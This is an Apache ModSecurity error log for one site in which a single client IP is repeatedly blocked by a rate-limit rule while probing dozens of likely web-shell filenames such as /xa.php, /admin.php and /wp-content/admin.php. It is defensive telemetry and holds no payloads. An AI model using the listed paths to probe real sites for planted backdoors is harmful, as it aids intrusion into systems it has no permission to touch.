[Fri Apr 17 04:44:56.553790 2026] [:error] [pid 9263:tid 9273] [client 20.199.113.127:51944] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeFKSBP68VyHNvj1e57L4AAAAMg"]
[Fri Apr 17 04:44:57.056102 2026] [:error] [pid 9153:tid 9221] [client 20.199.113.127:51930] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeFKSeMHGxkTZX3c45fa6wAAAIM"]
[Fri Apr 17 04:44:57.548473 2026] [:error] [pid 9153:tid 9239] [client 20.199.113.127:51948] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeFKSeMHGxkTZX3c45fa7wAAAJU"]
[Fri Apr 17 04:44:58.023374 2026] [:error] [pid 9152:tid 9192] [client 20.199.113.127:62882] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeFKSpJYca8I3TNCwIfxswAAAEI"]
[Fri Apr 17 04:44:58.525638 2026] [:error] [pid 9151:tid 9177] [client 20.199.113.127:26007] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeFKSshTVuRPkua22vSBOQAAABA"]
[Fri Apr 17 04:44:59.100511 2026] [:error] [pid 51878:tid 51894] [client 20.199.113.127:62177] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeFKS0nQhUtMbw9EsgYoSgAAAQ4"]
[Fri Apr 17 04:44:59.597862 2026] [:error] [pid 9151:tid 9169] [client 20.199.113.127:51965] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeFKS8hTVuRPkua22vSBQgAAAAg"]
[Fri Apr 17 04:45:00.086872 2026] [:error] [pid 9151:tid 9175] [client 20.199.113.127:54562] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeFKTMhTVuRPkua22vSBRQAAAA4"]
[Fri Apr 17 04:45:00.566271 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:62188] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeFKTEnQhUtMbw9EsgYoaAAAAQQ"]
[Fri Apr 17 04:45:01.090265 2026] [:error] [pid 9152:tid 9203] [client 20.199.113.127:36308] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKTZJYca8I3TNCwIfxugAAAE0"]
[Fri Apr 17 04:45:01.590718 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:62202] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKTRP68VyHNvj1e57MCwAAAMo"]
[Fri Apr 17 04:45:02.107402 2026] [:error] [pid 9153:tid 9221] [client 20.199.113.127:25502] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKTuMHGxkTZX3c45fbBAAAAIM"]
[Fri Apr 17 04:45:02.622367 2026] [:error] [pid 9151:tid 9163] [client 20.199.113.127:51909] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeFKTshTVuRPkua22vSBSgAAAAI"]
[Fri Apr 17 04:45:03.124186 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:62858] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeFKTxP68VyHNvj1e57MGgAAANc"]
[Fri Apr 17 04:45:03.704529 2026] [:error] [pid 9152:tid 9193] [client 20.199.113.127:54559] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeFKT5JYca8I3TNCwIfxxwAAAEM"]
[Fri Apr 17 04:45:04.246924 2026] [:error] [pid 9152:tid 9191] [client 20.199.113.127:54554] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeFKUJJYca8I3TNCwIfxzwAAAEE"]
[Fri Apr 17 04:45:04.823964 2026] [:error] [pid 9153:tid 9225] [client 20.199.113.127:25511] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeFKUOMHGxkTZX3c45fbDwAAAIc"]
[Fri Apr 17 04:45:05.387682 2026] [:error] [pid 51878:tid 51900] [client 20.199.113.127:26010] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeFKUUnQhUtMbw9EsgYomwAAARQ"]
[Fri Apr 17 04:45:05.984742 2026] [:error] [pid 9151:tid 9184] [client 20.199.113.127:25517] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeFKUchTVuRPkua22vSBTwAAABc"]
[Fri Apr 17 04:45:06.618111 2026] [:error] [pid 9151:tid 9161] [client 20.199.113.127:62207] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeFKUshTVuRPkua22vSBUQAAAAA"]
[Fri Apr 17 04:45:07.194854 2026] [:error] [pid 9153:tid 9222] [client 20.199.113.127:26030] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeFKU-MHGxkTZX3c45fbGgAAAIQ"]
[Fri Apr 17 04:45:07.734001 2026] [:error] [pid 9153:tid 9234] [client 20.199.113.127:25532] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aeFKU-MHGxkTZX3c45fbHgAAAJA"]
[Fri Apr 17 04:45:08.284773 2026] [:error] [pid 9153:tid 9238] [client 20.199.113.127:51910] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aeFKVOMHGxkTZX3c45fbJgAAAJQ"]
[Fri Apr 17 04:45:08.826851 2026] [:error] [pid 9152:tid 9211] [client 20.199.113.127:45568] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aeFKVJJYca8I3TNCwIfx7QAAAFU"]
[Fri Apr 17 04:45:09.304738 2026] [:error] [pid 51878:tid 51886] [client 20.199.113.127:4603] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aeFKVUnQhUtMbw9EsgYoxwAAAQY"]
[Fri Apr 17 04:45:09.797434 2026] [:error] [pid 51878:tid 51898] [client 20.199.113.127:25496] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeFKVUnQhUtMbw9EsgYozgAAARI"]
[Fri Apr 17 04:45:10.276618 2026] [:error] [pid 9263:tid 9265] [client 20.199.113.127:25996] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeFKVhP68VyHNvj1e57MMwAAAMA"]
[Fri Apr 17 04:45:10.751304 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:25499] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeFKVhP68VyHNvj1e57MNwAAAMU"]
[Fri Apr 17 04:45:11.245249 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:62161] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fvvff.php"] [unique_id "aeFKV0nQhUtMbw9EsgYo7AAAAQo"]
[Fri Apr 17 04:45:11.744536 2026] [:error] [pid 9153:tid 9227] [client 20.199.113.127:62888] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeFKV-MHGxkTZX3c45fbMgAAAIk"]
[Fri Apr 17 04:45:12.220700 2026] [:error] [pid 9263:tid 9284] [client 20.199.113.127:62171] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeFKWBP68VyHNvj1e57MQQAAANM"]
[Fri Apr 17 04:45:12.726931 2026] [:error] [pid 9153:tid 9220] [client 20.199.113.127:36399] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeFKWOMHGxkTZX3c45fbMwAAAII"]
[Fri Apr 17 04:45:13.204044 2026] [:error] [pid 9263:tid 9286] [client 20.199.113.127:62178] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aeFKWRP68VyHNvj1e57MRAAAANU"]
[Fri Apr 17 04:45:13.775299 2026] [:error] [pid 9152:tid 9212] [client 20.199.113.127:36374] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeFKWZJYca8I3TNCwIfyAwAAAFY"]
[Fri Apr 17 04:45:14.306863 2026] [:error] [pid 9263:tid 9284] [client 20.199.113.127:26013] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeFKWhP68VyHNvj1e57MUQAAANM"]
[Fri Apr 17 04:45:14.856862 2026] [:error] [pid 9151:tid 9172] [client 20.199.113.127:25531] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeFKWshTVuRPkua22vSBbgAAAAs"]
[Fri Apr 17 04:45:15.336973 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:4549] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.php"] [unique_id "aeFKWxP68VyHNvj1e57MaAAAAM0"]
[Fri Apr 17 04:45:15.860630 2026] [:error] [pid 9153:tid 9229] [client 20.199.113.127:36353] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeFKW-MHGxkTZX3c45fbSQAAAIs"]
[Fri Apr 17 04:45:16.383749 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:51942] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeFKXEnQhUtMbw9EsgYpKgAAAQI"]
[Fri Apr 17 04:45:16.921101 2026] [:error] [pid 9151:tid 9180] [client 20.199.113.127:36414] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeFKXMhTVuRPkua22vSBeAAAABM"]
[Fri Apr 17 04:45:17.442106 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:54531] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aeFKXUnQhUtMbw9EsgYpPAAAAQQ"]
[Fri Apr 17 04:45:17.961750 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:25477] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeFKXUnQhUtMbw9EsgYpRQAAAQI"]
[Fri Apr 17 04:45:18.494481 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:51923] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeFKXhP68VyHNvj1e57MhQAAANQ"]
[Fri Apr 17 04:45:19.142183 2026] [:error] [pid 9153:tid 9227] [client 20.199.113.127:62157] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeFKX-MHGxkTZX3c45fbWAAAAIk"]
[Fri Apr 17 04:45:19.723921 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:54584] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeFKX0nQhUtMbw9EsgYpXgAAAQI"]
[Fri Apr 17 04:45:20.394990 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:36330] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeFKYBP68VyHNvj1e57MjwAAANQ"]
[Fri Apr 17 04:45:21.037799 2026] [:error] [pid 9151:tid 9172] [client 20.199.113.127:25487] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeFKYchTVuRPkua22vSBfAAAAAs"]
[Fri Apr 17 04:45:21.632209 2026] [:error] [pid 9153:tid 9240] [client 20.199.113.127:36360] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeFKYeMHGxkTZX3c45fbbgAAAJY"]
[Fri Apr 17 04:45:22.214366 2026] [:error] [pid 51878:tid 51892] [client 20.199.113.127:62194] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aeFKYknQhUtMbw9EsgYpfwAAAQw"]
[Fri Apr 17 04:45:22.941438 2026] [:error] [pid 9152:tid 9203] [client 20.199.113.127:51919] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeFKYpJYca8I3TNCwIfyKwAAAE0"]
[Fri Apr 17 04:45:23.578278 2026] [:error] [pid 51878:tid 51893] [client 20.199.113.127:62164] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeFKY0nQhUtMbw9EsgYpkAAAAQ0"]
[Fri Apr 17 04:45:24.106814 2026] [:error] [pid 9263:tid 9272] [client 20.199.113.127:4545] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeFKZBP68VyHNvj1e57MnQAAAMc"]
[Fri Apr 17 04:45:24.734400 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:25494] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "aeFKZBP68VyHNvj1e57MoQAAANQ"]
[Fri Apr 17 04:45:25.305996 2026] [:error] [pid 9263:tid 9286] [client 20.199.113.127:45588] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeFKZRP68VyHNvj1e57MrwAAANU"]
[Fri Apr 17 04:45:25.812283 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:54578] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeFKZRP68VyHNvj1e57MuwAAAM0"]
[Fri Apr 17 04:45:26.399504 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:26043] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeFKZknQhUtMbw9EsgYprQAAAQo"]
[Fri Apr 17 04:45:26.987868 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:36364] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeFKZhP68VyHNvj1e57MygAAANc"]
